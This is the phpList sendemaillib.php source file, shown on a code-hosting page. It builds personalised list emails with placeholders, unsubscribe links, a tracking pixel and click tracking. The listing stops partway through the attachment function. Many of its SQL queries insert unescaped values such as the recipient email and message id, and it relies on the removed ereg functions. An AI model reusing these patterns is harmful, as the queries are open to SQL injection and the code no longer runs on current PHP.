PageRenderTime 31ms CodeModel.GetById 27ms RepoModel.GetById 0ms app.codeStats 0ms

/phplist/admin/sendemaillib.php

https://github.com/radicaldesigns/amp
PHP | 899 lines | 754 code | 54 blank | 91 comment | 156 complexity | 8b7e98fd5becde72fdc808d076223554 MD5 | raw file
Possible License(s): LGPL-2.1, GPL-2.0, BSD-3-Clause, LGPL-2.0, CC-BY-SA-3.0, AGPL-1.0
  1. <?php
  2. require_once dirname(__FILE__).'/accesscheck.php';
  3. # send an email library
  4. if (PHPMAILER && is_file(dirname(__FILE__).'/phpmailer/class.phpmailer.php')) {
  5. # phplistmailer, extended of the popular phpmail class
  6. # this is still very experimental
  7. include_once $GLOBALS["coderoot"] . "class.phplistmailer.php";
  8. } else {
  9. if (USE_OUTLOOK_OPTIMIZED_HTML) {
  10. require_once dirname(__FILE__)."/class.html.mime.mail-outlookfix.inc";
  11. } else {
  12. require_once dirname(__FILE__)."/class.html.mime.mail.inc";
  13. }
  14. }
  15. if (!function_exists("output")) {
  16. function output($text) {
  17. }
  18. }
  19. function sendEmail ($messageid,$email,$hash,$htmlpref = 0,$rssitems = array(),$forwardedby = array()) {
  20. global $strThisLink,$PoweredByImage,$PoweredByText,$cached,$website;
  21. if ($email == "")
  22. return 0;
  23. if (!$cached[$messageid]) {
  24. $domain = getConfig("domain");
  25. $message = Sql_query("select * from {$GLOBALS["tables"]["message"]} where id = $messageid");
  26. $cached[$messageid] = array();
  27. $message = Sql_fetch_array($message);
  28. if (ereg("([^ ]+@[^ ]+)",$message["fromfield"],$regs)) {
  29. # if there is an email in the from, rewrite it as "name <email>"
  30. $message["fromfield"] = ereg_replace($regs[0],"",$message["fromfield"]);
  31. $cached[$messageid]["fromemail"] = $regs[0];
  32. # if the email has < and > take them out here
  33. $cached[$messageid]["fromemail"] = ereg_replace("<","",$cached[$messageid]["fromemail"]);
  34. $cached[$messageid]["fromemail"] = ereg_replace(">","",$cached[$messageid]["fromemail"]);
  35. # make sure there are no quotes around the name
  36. $cached[$messageid]["fromname"] = ereg_replace('"',"",ltrim(rtrim($message["fromfield"])));
  37. } elseif (ereg(" ",$message["fromfield"],$regs)) {
  38. # if there is a space, we need to add the email
  39. $cached[$messageid]["fromname"] = $message["fromfield"];
  40. $cached[$messageid]["fromemail"] = "listmaster@$domain";
  41. } else {
  42. $cached[$messageid]["fromemail"] = $message["fromfield"] . "@$domain";
  43. $cached[$messageid]["fromname"] = $message["fromfield"] . "@$domain";
  44. }
  45. # erase double spacing
  46. while (ereg(" ",$cached[$messageid]["fromname"]))
  47. $cached[$messageid]["fromname"] = eregi_replace(" "," ",$cached[$messageid]["fromname"]);
  48. $cached[$messageid]["fromname"] = eregi_replace("@","",$cached[$messageid]["fromname"]);
  49. $cached[$messageid]["fromname"] = trim($cached[$messageid]["fromname"]);
  50. $cached[$messageid]["to"] = $message["tofield"];
  51. $cached[$messageid]["subject"] = $message["subject"];
  52. $cached[$messageid]["replyto"] =$message["replyto"];
  53. $cached[$messageid]["content"] = $message["message"];
  54. $cached[$messageid]["textcontent"] = $message["textmessage"];
  55. $cached[$messageid]["footer"] = $message["footer"];
  56. $cached[$messageid]["htmlformatted"] = $message["htmlformatted"];
  57. $cached[$messageid]["sendformat"] = $message["sendformat"];
  58. if ($message["template"]) {
  59. $req = Sql_Fetch_Row_Query("select template from {$GLOBALS["tables"]["template"]} where id = {$message["template"]}");
  60. $cached[$messageid]["template"] = stripslashes($req[0]);
  61. $cached[$messageid]["templateid"] = $message["template"];
  62. # dbg("TEMPLATE: ".$req[0]);
  63. } else {
  64. $cached[$messageid]["template"] = '';
  65. $cached[$messageid]["templateid"] = 0;
  66. }
  67. ## @@ put this here, so it can become editable per email sent out at a later stage
  68. $cached[$messageid]["html_charset"] = getConfig("html_charset");
  69. ## @@ need to check on validity of charset
  70. if (!$cached[$messageid]["html_charset"])
  71. $cached[$messageid]["html_charset"] = 'iso-8859-1';
  72. $cached[$messageid]["text_charset"] = getConfig("text_charset");
  73. if (!$cached[$messageid]["text_charset"])
  74. $cached[$messageid]["text_charset"] = 'iso-8859-1';
  75. }# else
  76. # dbg("Using cached {$cached[$messageid]["fromemail"]}");
  77. if (VERBOSE)
  78. output($GLOBALS['I18N']->get('sendingmessage').' '.$messageid.' '.$GLOBALS['I18N']->get('withsubject').' '.
  79. $cached[$messageid]["subject"].' '.$GLOBALS['I18N']->get('to').' '.$email);
  80. # erase any placeholders that were not found
  81. # $msg = ereg_replace("\[[A-Z ]+\]","",$msg);
  82. $user_att_values = getUserAttributeValues($email);
  83. $userdata = Sql_Fetch_Array_Query(sprintf('select * from %s where email = "%s"',
  84. $GLOBALS["tables"]["user"],$email));
  85. $url = getConfig("unsubscribeurl");$sep = ereg('\?',$url)?'&':'?';
  86. $html["unsubscribe"] = sprintf('<a href="%s%suid=%s">%s</a>',$url,$sep,$hash,$strThisLink);
  87. $text["unsubscribe"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  88. $html["unsubscribeurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  89. $text["unsubscribeurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  90. $url = getConfig("subscribeurl");$sep = ereg('\?',$url)?'&':'?';
  91. $html["subscribe"] = sprintf('<a href="%s">%s</a>',$url,$strThisLink);
  92. $text["subscribe"] = sprintf('%s',$url);
  93. $html["subscribeurl"] = sprintf('%s',$url);
  94. $text["subscribeurl"] = sprintf('%s',$url);
  95. #?mid=1&id=1&uid=a9f35f130593a3d6b89cfe5cfb32a0d8&p=forward&email=michiel%40tincan.co.uk&
  96. $url = getConfig("forwardurl");$sep = ereg('\?',$url)?'&':'?';
  97. $html["forward"] = sprintf('<a href="%s%suid=%s&mid=%d">%s</a>',$url,$sep,$hash,$messageid,$strThisLink);
  98. $text["forward"] = sprintf('%s%suid=%s&mid=%d',$url,$sep,$hash,$messageid);
  99. $html["forwardurl"] = $text["forward"];
  100. $text["forwardurl"] = $text["forward"];
  101. $url = getConfig("public_baseurl");
  102. # make sure there are no newlines, otherwise they get turned into <br/>s
  103. $html["forwardform"] = sprintf('<form method="get" action="%s" name="forwardform" class="forwardform"><input type=hidden name="uid" value="%s" /><input type=hidden name="mid" value="%d" /><input type=hidden name="p" value="forward" /><input type=text name="email" value="" class="forwardinput" /><input name="Send" type="submit" value="%s" class="forwardsubmit"/></form>',$url,$hash,$messageid,$GLOBALS['strForward']);
  104. $text["signature"] = "\n\n--\nPowered by PHPlist, www.phplist.com --\n\n";
  105. $url = getConfig("preferencesurl");$sep = ereg('\?',$url)?'&':'?';
  106. $html["preferences"] = sprintf('<a href="%s%suid=%s">%s</a>',$url,$sep,$hash,$strThisLink);
  107. $text["preferences"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  108. $html["preferencesurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  109. $text["preferencesurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  110. /*
  111. We request you retain the signature below in your emails including the links.
  112. This not only gives respect to the large amount of time given freely
  113. by the developers but also helps build interest, traffic and use of
  114. PHPlist, which is beneficial to it's future development.
  115. You can configure how the credits are added to your pages and emails in your
  116. config file.
  117. Michiel Dethmers, Tincan Ltd 2003, 2004
  118. */
  119. if (!EMAILTEXTCREDITS) {
  120. $html["signature"] = $PoweredByImage;#'<div align="center" id="signature"><a href="http://www.phplist.com"><img src="powerphplist.png" width=88 height=31 title="Powered by PHPlist" alt="Powered by PHPlist" border="0"></a></div>';
  121. # oops, accidentally became spyware, never intended that, so take it out again :-)
  122. $html["signature"] = preg_replace('/src=".*power-phplist.png"/','src="powerphplist.png"',$html["signature"]);
  123. } else {
  124. $html["signature"] = $PoweredByText;
  125. }
  126. $content = $cached[$messageid]["content"];
  127. if (preg_match("/##LISTOWNER=(.*)/",$content,$regs)) {
  128. $listowner = $regs[1];
  129. $content = ereg_replace($regs[0],"",$content);
  130. } else {
  131. $listowner = 0;
  132. }
  133. if ($GLOBALS["has_pear_http_request"] && preg_match("/\[URL:([^\s]+)\]/i",$content,$regs)) {
  134. while (strlen($regs[1])) {
  135. $url = $regs[1];
  136. if (!preg_match('/^http/i',$url)) {
  137. $url = 'http://'.$url;
  138. }
  139. $remote_content = fetchUrl($url,$userdata);
  140. if ($remote_content) {
  141. $content = eregi_replace(preg_quote($regs[0]),$remote_content,$content);
  142. $cached[$messageid]["htmlformatted"] = strip_tags($content) != $content;
  143. } else {
  144. logEvent("Error fetching URL: $regs[1] to send to $email");
  145. return 0;
  146. }
  147. preg_match("/\[URL:([^\s]+)\]/i",$content,$regs);
  148. }
  149. }
  150. if ($cached[$messageid]["htmlformatted"]) {
  151. if (!$cached[$messageid]["textcontent"]) {
  152. $textcontent = stripHTML($content);
  153. } else {
  154. $textcontent = $cached[$messageid]["textcontent"];
  155. }
  156. $htmlcontent = $content;
  157. } else {
  158. # $textcontent = $content;
  159. if (!$cached[$messageid]["textcontent"]) {
  160. $textcontent = $content;
  161. } else {
  162. $textcontent = $cached[$messageid]["textcontent"];
  163. }
  164. $htmlcontent = parseText($content);
  165. }
  166. $defaultstyle = getConfig("html_email_style");
  167. $adddefaultstyle = 0;
  168. if ($cached[$messageid]["template"])
  169. # template used
  170. $htmlmessage = eregi_replace("\[CONTENT\]",$htmlcontent,$cached[$messageid]["template"]);
  171. else {
  172. # no template used
  173. $htmlmessage = $htmlcontent;
  174. $adddefaultstyle = 1;
  175. }
  176. $textmessage = $textcontent;
  177. foreach (array("forwardform","forward","subscribe","preferences","unsubscribe","signature") as $item) {
  178. if (eregi('\['.$item.'\]',$htmlmessage,$regs)) {
  179. $htmlmessage = eregi_replace('\['.$item.'\]',$html[$item],$htmlmessage);
  180. unset($html[$item]);
  181. }
  182. if (eregi('\['.$item.'\]',$textmessage,$regs)) {
  183. $textmessage = eregi_replace('\['.$item.'\]',$text[$item],$textmessage);
  184. unset($text[$item]);
  185. }
  186. }
  187. foreach (array("forwardurl","subscribeurl","preferencesurl","unsubscribeurl") as $item) {
  188. if (eregi('\['.$item.'\]',$htmlmessage,$regs)) {
  189. $htmlmessage = eregi_replace('\['.$item.'\]',$html[$item],$htmlmessage);
  190. }
  191. if (eregi('\['.$item.'\]',$textmessage,$regs)) {
  192. $textmessage = eregi_replace('\['.$item.'\]',$text[$item],$textmessage);
  193. }
  194. }
  195. if ($hash != 'forwarded') {
  196. $text['footer'] = $cached[$messageid]["footer"];
  197. $html['footer'] = $cached[$messageid]["footer"];
  198. } else {
  199. $text['footer'] = getConfig('forwardfooter');
  200. $html['footer'] = $text['footer'];
  201. }
  202. $text["footer"] = eregi_replace("\[UNSUBSCRIBE\]",$text["unsubscribe"],$text['footer']);
  203. $html["footer"] = eregi_replace("\[UNSUBSCRIBE\]",$html["unsubscribe"],$html['footer']);
  204. $text["footer"] = eregi_replace("\[SUBSCRIBE\]",$text["subscribe"],$text['footer']);
  205. $html["footer"] = eregi_replace("\[SUBSCRIBE\]",$html["subscribe"],$html['footer']);
  206. $text["footer"] = eregi_replace("\[PREFERENCES\]",$text["preferences"],$text["footer"]);
  207. $html["footer"] = eregi_replace("\[PREFERENCES\]",$html["preferences"],$html["footer"]);
  208. $text["footer"] = eregi_replace("\[FORWARD\]",$text["forward"],$text["footer"]);
  209. $html["footer"] = eregi_replace("\[FORWARD\]",$html["forward"],$html["footer"]);
  210. $html["footer"] = eregi_replace("\[FORWARDFORM\]",$html["forwardform"],$html["footer"]);
  211. if (sizeof($forwardedby) && isset($forwardedby['email'])) {
  212. $html["footer"] = eregi_replace("\[FORWARDEDBY]",$forwardedby["email"],$html["footer"]);
  213. $text["footer"] = eregi_replace("\[FORWARDEDBY]",$forwardedby["email"],$text["footer"]);
  214. }
  215. $html["footer"] = '<div class="emailfooter">'.nl2br($html["footer"]).'</div>';
  216. if (eregi("\[FOOTER\]",$htmlmessage))
  217. $htmlmessage = eregi_replace("\[FOOTER\]",$html["footer"],$htmlmessage);
  218. elseif ($html["footer"])
  219. $htmlmessage = addHTMLFooter($htmlmessage,'<br /><br />'.$html["footer"]);
  220. if (eregi("\[SIGNATURE\]",$htmlmessage))
  221. $htmlmessage = eregi_replace("\[SIGNATURE\]",$html["signature"],$htmlmessage);
  222. elseif ($html["signature"])
  223. $htmlmessage .= '<br />'.$html["signature"];
  224. if (eregi("\[FOOTER\]",$textmessage))
  225. $textmessage = eregi_replace("\[FOOTER\]",$text["footer"],$textmessage);
  226. else
  227. $textmessage .= "\n\n".$text["footer"];
  228. if (eregi("\[SIGNATURE\]",$textmessage))
  229. $textmessage = eregi_replace("\[SIGNATURE\]",$text["signature"],$textmessage);
  230. else
  231. $textmessage .= "\n".$text["signature"];
  232. # $req = Sql_Query(sprintf('select filename,data from %s where template = %d',
  233. # $GLOBALS["tables"]["templateimage"],$cached[$messageid]["templateid"]));
  234. $htmlmessage = eregi_replace("\[USERID\]",$hash,$htmlmessage);
  235. $htmlmessage = preg_replace("/\[USERTRACK\]/i",'<img src="http://'.$website.$GLOBALS["pageroot"].'/ut.php?u='.$hash.'&m='.$messageid.'" width="1" height="1" border="0">',$htmlmessage,1);
  236. $htmlmessage = eregi_replace("\[USERTRACK\]",'',$htmlmessage);
  237. if ($listowner) {
  238. $att_req = Sql_Query("select name,value from {$GLOBALS["tables"]["adminattribute"]},{$GLOBALS["tables"]["admin_attribute"]} where {$GLOBALS["tables"]["adminattribute"]}.id = {$GLOBALS["tables"]["admin_attribute"]}.adminattributeid and {$GLOBALS["tables"]["admin_attribute"]}.adminid = $listowner");
  239. while ($att = Sql_Fetch_Array($att_req))
  240. $htmlmessage = preg_replace("#\[LISTOWNER.".strtoupper(preg_quote($att["name"]))."\]#",$att["value"],$htmlmessage);
  241. }
  242. if (is_array($GLOBALS["default_config"])) {
  243. foreach($GLOBALS["default_config"] as $key => $val) {
  244. if (is_array($val)) {
  245. $htmlmessage = eregi_replace("\[$key\]",getConfig($key),$htmlmessage);
  246. $textmessage = eregi_replace("\[$key\]",getConfig($key),$textmessage);
  247. }
  248. }
  249. }
  250. if (ENABLE_RSS && sizeof($rssitems)) {
  251. $rssentries = array();
  252. $request = join(",",$rssitems);
  253. $texttemplate = getConfig("rsstexttemplate");
  254. $htmltemplate = getConfig("rsshtmltemplate");
  255. $textseparatortemplate = getConfig("rsstextseparatortemplate");
  256. $htmlseparatortemplate = getConfig("rsshtmlseparatortemplate");
  257. $req = Sql_Query("select * from {$GLOBALS["tables"]["rssitem"]} where id in ($request) order by list,added");
  258. $curlist = "";
  259. while ($row = Sql_Fetch_array($req)) {
  260. if ($curlist != $row["list"]) {
  261. $row["listname"] = ListName($row["list"]);
  262. $curlist = $row["list"];
  263. $rssentries["text"] .= parseRSSTemplate($textseparatortemplate,$row);
  264. $rssentries["html"] .= parseRSSTemplate($htmlseparatortemplate,$row);
  265. }
  266. $data_req = Sql_Query("select * from {$GLOBALS["tables"]["rssitem_data"]} where itemid = {$row["id"]}");
  267. while ($data = Sql_Fetch_Array($data_req))
  268. $row[$data["tag"]] = $data["data"];
  269. $rssentries["text"] .= stripHTML(parseRSSTemplate($texttemplate,$row));
  270. $rssentries["html"] .= parseRSSTemplate($htmltemplate,$row);
  271. }
  272. $htmlmessage = eregi_replace("\[RSS\]",$rssentries["html"],$htmlmessage);
  273. $textmessage = eregi_replace("\[RSS\]",$rssentries["text"],$textmessage);
  274. }
  275. if (is_array($userdata)) {
  276. foreach ($userdata as $name => $value) {
  277. if (eregi("\[".$name."\]",$htmlmessage,$regs)) {
  278. $htmlmessage = eregi_replace("\[".$name."\]",$value,$htmlmessage);
  279. } if (eregi("\[".$name."\]",$textmessage,$regs)) {
  280. $textmessage = eregi_replace("\[".$name."\]",$value,$textmessage);
  281. }
  282. }
  283. }
  284. $destinationemail = '';
  285. if (is_array($user_att_values)) {
  286. foreach ($user_att_values as $att_name => $att_value) {
  287. if (eregi("\[".$att_name."\]",$htmlmessage,$regs)) {
  288. $htmlmessage = eregi_replace("\[".$att_name."\]",$att_value,$htmlmessage);
  289. }
  290. if (eregi("\[".$att_name."\]",$textmessage,$regs)) {
  291. $textmessage = eregi_replace("\[".$att_name."\]",$att_value,$textmessage);
  292. }
  293. # @@@ undocumented, use alternate field for real email to send to
  294. if (isset($GLOBALS["alternate_email"]) && strtolower($att_name) == strtolower($GLOBALS["alternate_email"])) {
  295. $destinationemail = $att_value;
  296. }
  297. }
  298. }
  299. if (!$destinationemail) {
  300. $destinationemail = $email;
  301. }
  302. if (!ereg('@',$destinationemail) && isset($GLOBALS["expand_unqualifiedemail"])) {
  303. $destinationemail .= $GLOBALS["expand_unqualifiedemail"];
  304. }
  305. if (eregi("\[LISTS\]",$htmlmessage)) {
  306. $lists = "";$listsarr = array();
  307. $req = Sql_Query(sprintf('select list.name from %s as list,%s as listuser where list.id = listuser.listid and listuser.userid = %d',$GLOBALS["tables"]["list"],$GLOBALS["tables"]["listuser"],$user_system_values["id"]));
  308. while ($row = Sql_Fetch_Row($req)) {
  309. array_push($listsarr,$row[0]);
  310. }
  311. $lists_html = join('<br/>',$listsarr);
  312. $lists_text = join("\n",$listsarr);
  313. $htmlmessage = ereg_replace("\[LISTS\]",$lists_html,$htmlmessage);
  314. $textmessage = ereg_replace("\[LISTS\]",$lists_text,$textmessage);
  315. }
  316. ## click tracking
  317. # for now we won't click track forwards, as they are not necessarily users, so everything would fail
  318. if (CLICKTRACK && $hash != 'forwarded') {
  319. # let's leave this for now
  320. /*
  321. if (preg_match('/<base href="(.*)"([^>]*)>/Umis',$htmlmessage,$regs)) {
  322. $urlbase = $regs[1];
  323. } else {
  324. $urlbase = '';
  325. }
  326. # print "URLBASE: $urlbase<br/>";
  327. */
  328. # convert html message
  329. # preg_match_all('/<a href="?([^> "]*)"?([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
  330. preg_match_all('/<a(.*)href="(.*)"([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
  331. # to process the Yahoo webpage with base href and link like <a href=link> we'd need this one
  332. # preg_match_all('/<a href=([^> ]*)([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
  333. $clicktrack_root = sprintf('http://%s/lt.php',$website.$GLOBALS["pageroot"]);
  334. $phplist_root = sprintf('http://%s',$website.$GLOBALS["pageroot"]);
  335. for($i=0; $i<count($links[2]); $i++){
  336. $link = cleanUrl($links[2][$i]);
  337. $link = str_replace('"','',$link);
  338. $linkid = 0;
  339. # print "LINK: $link<br/>";
  340. if ((preg_match('/^http|ftp/',$link) || preg_match('/^http|ftp/',$urlbase)) && $link != 'http://www.phplist.com' && !strpos($link,$clicktrack_root)) {
  341. # take off personal uids
  342. $url = cleanUrl($link,array('PHPSESSID','uid'));
  343. # $url = preg_replace('/&uid=[^\s&]+/','',$link);
  344. # if (!strpos('http:',$link)) {
  345. # $link = $urlbase . $link;
  346. # }
  347. $req = Sql_Query(sprintf('insert ignore into %s (messageid,userid,url,forward)
  348. values(%d,%d,"%s","%s")',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$url,addslashes($link)));
  349. $req = Sql_Fetch_Row_Query(sprintf('select linkid from %s where messageid = %s and userid = %d and forward = "%s"
  350. ',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$link));
  351. $linkid = $req[0];
  352. $masked = "H|$linkid|$messageid|".$userdata['id'] ^ XORmask;
  353. $masked = urlencode(base64_encode($masked));
  354. $newlink = sprintf('<a%shref="http://%s/lt.php?id=%s" %s>%s</a>',$links[1][$i],$website.$GLOBALS["pageroot"],$masked,$links[3][$i],$links[4][$i]);
  355. $htmlmessage = str_replace($links[0][$i], $newlink, $htmlmessage);
  356. }
  357. }
  358. # convert Text message
  359. preg_match_all('#(http://[^\s\>\}]+)#mis',$textmessage,$links);
  360. for($i=0; $i<count($links[1]); $i++){
  361. # $fullmatch = $links[0][$i];
  362. $link = cleanUrl($links[1][$i]);
  363. $linkid = 0;
  364. if (preg_match('/^http|ftp/',$link) && $link != 'http://www.phplist.com' && !strpos($link,$clicktrack_root)
  365. && $link != $phplist_root && $link != $phplist_root.'/'
  366. ) {
  367. # $url = preg_replace('/&uid=[^\s&]+/','',$link);
  368. $url = cleanUrl($link,array('PHPSESSID','uid'));
  369. $req = Sql_Query(sprintf('insert ignore into %s (messageid,userid,url,forward)
  370. values(%d,%d,"%s","%s")',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$url,$link));
  371. $req = Sql_Fetch_Row_Query(sprintf('select linkid from %s where messageid = %s and userid = %d and forward = "%s"
  372. ',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$link));
  373. $linkid = $req[0];
  374. $masked = "T|$linkid|$messageid|".$userdata['id'] ^ XORmask;
  375. $masked = urlencode(base64_encode($masked));
  376. $newlink = sprintf('http://%s/lt.php?id=%s',$website.$GLOBALS["pageroot"],$masked);
  377. $textmessage = str_replace($links[0][$i], $newlink, $textmessage);
  378. }
  379. }
  380. }
  381. #
  382. if (eregi("\[LISTS\]",$htmlmessage)) {
  383. $lists = "";$listsarr = array();
  384. $req = Sql_Query(sprintf('select list.name from %s as list,%s as listuser where list.id = listuser.listid and listuser.userid = %d',$tables["list"],$tables["listuser"],$user_system_values["id"]));
  385. while ($row = Sql_Fetch_Row($req)) {
  386. array_push($listsarr,$row[0]);
  387. }
  388. $lists_html = join('<br/>',$listsarr);
  389. $lists_text = join("\n",$listsarr);
  390. $htmlmessage = ereg_replace("\[LISTS\]",$lists_html,$htmlmessage);
  391. $textmessage = ereg_replace("\[LISTS\]",$lists_text,$textmessage);
  392. }
  393. # remove any existing placeholders
  394. $htmlmessage = eregi_replace("\[[A-Z\. ]+\]","",$htmlmessage);
  395. $textmessage = eregi_replace("\[[A-Z\. ]+\]","",$textmessage);
  396. # check that the HTML message as proper <head> </head> and <body> </body> tags
  397. # some readers fail when it doesn't
  398. if (!preg_match("#<body.*</body>#ims",$htmlmessage)) {
  399. $htmlmessage = '<body>'.$htmlmessage.'</body>';
  400. }
  401. if (!preg_match("#<head>.*</head>#ims",$htmlmessage)) {
  402. if (!$adddefaultstyle) {
  403. $defaultstyle = "";
  404. }
  405. $htmlmessage = '<head>
  406. <meta content="text/html;charset='.$cached[$messageid]["html_charset"].'" http-equiv="Content-Type">
  407. <title></title>'.$defaultstyle.'</head>'.$htmlmessage;
  408. }
  409. if (!preg_match("#<html>.*</html>#ims",$htmlmessage)) {
  410. $htmlmessage = '<html>'.$htmlmessage.'</html>';
  411. }
  412. # particularly Outlook seems to have trouble if it is not \r\n
  413. # reports have come that instead this creates lots of trouble
  414. # this is now done in the global sendMail function, so it is not
  415. # necessary here
  416. # if (USE_CARRIAGE_RETURNS) {
  417. # $htmlmessage = preg_replace("/\r?\n/", "\r\n", $htmlmessage);
  418. # $textmessage = preg_replace("/\r?\n/", "\r\n", $textmessage);
  419. # }
  420. # build the email
  421. if (!PHPMAILER) {
  422. $mail = new html_mime_mail(
  423. array('X-Mailer: PHPlist v'.VERSION,
  424. "X-MessageId: $messageid",
  425. "X-ListMember: $email",
  426. "Precedence: bulk",
  427. "List-Help: <".$text["preferences"].">",
  428. "List-Unsubscribe: <".$text["unsubscribe"].">",
  429. "List-Subscribe: <".getConfig("subscribeurl").">",
  430. "List-Owner: <mailto:".getConfig("admin_address").">"
  431. ));
  432. } else {
  433. $mail = new PHPlistMailer($messageid,$destinationemail);
  434. ##$mail->IsSMTP();
  435. }
  436. list($dummy,$domaincheck) = split('@',$destinationemail);
  437. $text_domains = explode("\n",trim(getConfig("alwayssendtextto")));
  438. if (in_array($domaincheck,$text_domains)) {
  439. $htmlpref = 0;
  440. if (VERBOSE)
  441. output($GLOBALS['I18N']->get('sendingtextonlyto')." $domaincheck");
  442. }
  443. list($dummy,$domaincheck) = split('@',$email);
  444. $text_domains = explode("\n",trim(getConfig("alwayssendtextto")));
  445. if (in_array($domaincheck,$text_domains)) {
  446. $htmlpref = 0;
  447. if (VERBOSE)
  448. output("Sending text only to $domaincheck");
  449. }
  450. # so what do we actually send?
  451. switch($cached[$messageid]["sendformat"]) {
  452. case "HTML":
  453. # send html to users who want it and text to everyone else
  454. if ($htmlpref) {
  455. Sql_Query("update {$GLOBALS["tables"]["message"]} set ashtml = ashtml + 1 where id = $messageid");
  456. if (ENABLE_RSS && sizeof($rssitems))
  457. updateRSSStats($rssitems,"ashtml");
  458. # dbg("Adding HTML ".$cached[$messageid]["templateid"]);
  459. $mail->add_html($htmlmessage,"",$cached[$messageid]["templateid"]);
  460. addAttachments($messageid,$mail,"HTML");
  461. } else {
  462. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  463. if (ENABLE_RSS && sizeof($rssitems))
  464. updateRSSStats($rssitems,"astext");
  465. $mail->add_text($textmessage);
  466. addAttachments($messageid,$mail,"text");
  467. }
  468. break;
  469. case "both":
  470. case "text and HTML":
  471. # send one big file to users who want html and text to everyone else
  472. if ($htmlpref) {
  473. Sql_Query("update {$GLOBALS["tables"]["message"]} set astextandhtml = astextandhtml + 1 where id = $messageid");
  474. if (ENABLE_RSS && sizeof($rssitems))
  475. updateRSSStats($rssitems,"ashtml");
  476. # dbg("Adding HTML ".$cached[$messageid]["templateid"]);
  477. $mail->add_html($htmlmessage,$textmessage,$cached[$messageid]["templateid"]);
  478. addAttachments($messageid,$mail,"HTML");
  479. } else {
  480. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  481. if (ENABLE_RSS && sizeof($rssitems))
  482. updateRSSStats($rssitems,"astext");
  483. $mail->add_text($textmessage);
  484. addAttachments($messageid,$mail,"text");
  485. }
  486. break;
  487. case "PDF":
  488. # send a PDF file to users who want html and text to everyone else
  489. if (ENABLE_RSS && sizeof($rssitems))
  490. updateRSSStats($rssitems,"astext");
  491. if ($htmlpref) {
  492. Sql_Query("update {$GLOBALS["tables"]["message"]} set aspdf = aspdf + 1 where id = $messageid");
  493. $pdffile = createPdf($textmessage);
  494. if (is_file($pdffile) && filesize($pdffile)) {
  495. $fp = fopen($pdffile,"r");
  496. if ($fp) {
  497. $contents = fread($fp,filesize($pdffile));
  498. fclose($fp);
  499. unlink($pdffile);
  500. $html = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  501. <html>
  502. <head>
  503. <title></title>
  504. </head>
  505. <body>
  506. <embed src="message.pdf" width="450" height="450" href="message.pdf"></embed>
  507. </body>
  508. </html>';
  509. # $mail->add_html($html,$textmessage);
  510. # $mail->add_text($textmessage);
  511. $mail->add_attachment($contents,
  512. "message.pdf",
  513. "application/pdf");
  514. }
  515. }
  516. addAttachments($messageid,$mail,"HTML");
  517. } else {
  518. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  519. $mail->add_text($textmessage);
  520. addAttachments($messageid,$mail,"text");
  521. }
  522. break;
  523. case "text and PDF":
  524. if (ENABLE_RSS && sizeof($rssitems))
  525. updateRSSStats($rssitems,"astext");
  526. # send a PDF file to users who want html and text to everyone else
  527. if ($htmlpref) {
  528. Sql_Query("update {$GLOBALS["tables"]["message"]} set astextandpdf = astextandpdf + 1 where id = $messageid");
  529. $pdffile = createPdf($textmessage);
  530. if (is_file($pdffile) && filesize($pdffile)) {
  531. $fp = fopen($pdffile,"r");
  532. if ($fp) {
  533. $contents = fread($fp,filesize($pdffile));
  534. fclose($fp);
  535. unlink($pdffile);
  536. $html = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  537. <html>
  538. <head>
  539. <title></title>
  540. </head>
  541. <body>
  542. <embed src="message.pdf" width="450" height="450" href="message.pdf"></embed>
  543. </body>
  544. </html>';
  545. # $mail->add_html($html,$textmessage);
  546. $mail->add_text($textmessage);
  547. $mail->add_attachment($contents,
  548. "message.pdf",
  549. "application/pdf");
  550. }
  551. }
  552. addAttachments($messageid,$mail,"HTML");
  553. } else {
  554. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  555. $mail->add_text($textmessage);
  556. addAttachments($messageid,$mail,"text");
  557. }
  558. break;
  559. case "text":
  560. default:
  561. # send as text
  562. if (ENABLE_RSS && sizeof($rssitems))
  563. updateRSSStats($rssitems,"astext");
  564. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  565. $mail->add_text($textmessage);
  566. addAttachments($messageid,$mail,"text");
  567. break;
  568. }
  569. $mail->build_message(
  570. array(
  571. "html_charset" => $cached[$messageid]["html_charset"],
  572. "html_encoding" => HTMLEMAIL_ENCODING,
  573. "text_charset" => $cached[$messageid]["text_charset"],
  574. "text_encoding" => TEXTEMAIL_ENCODING)
  575. );
  576. if (!TEST) {
  577. if ($hash != 'forwarded' || !sizeof($forwardedby)) {
  578. $fromname = $cached[$messageid]["fromname"];
  579. $fromemail = $cached[$messageid]["fromemail"];
  580. $subject = $cached[$messageid]["subject"];
  581. } else {
  582. $fromname = '';
  583. $fromemail = $forwardedby['email'];
  584. $subject = $GLOBALS['strFwd'].': '.$cached[$messageid]["subject"];
  585. }
  586. if (!$mail->send("", $destinationemail, $fromname, $fromemail, $subject)) {
  587. logEvent("Error sending message $messageid to $email ($destinationemail)");
  588. return 0;
  589. } else {
  590. return 1;
  591. }
  592. }
  593. return 0;
  594. }
  595. function addAttachments($msgid,&$mail,$type) {
  596. global $attachment_repository,$website;
  597. if (ALLOW_ATTACHMENTS) {
  598. $req = Sql_Query("select * from {$GLOBALS["tables"]["message_attachment"]},{$GLOBALS["tables"]["attachment"]}
  599. where {$GLOBALS["tables"]["message_attachment"]}.attachmentid = {$GLOBALS["tables"]["attachment"]}.id and
  600. {$GLOBALS["tables"]["message_attachment"]}.messageid = $msgid");
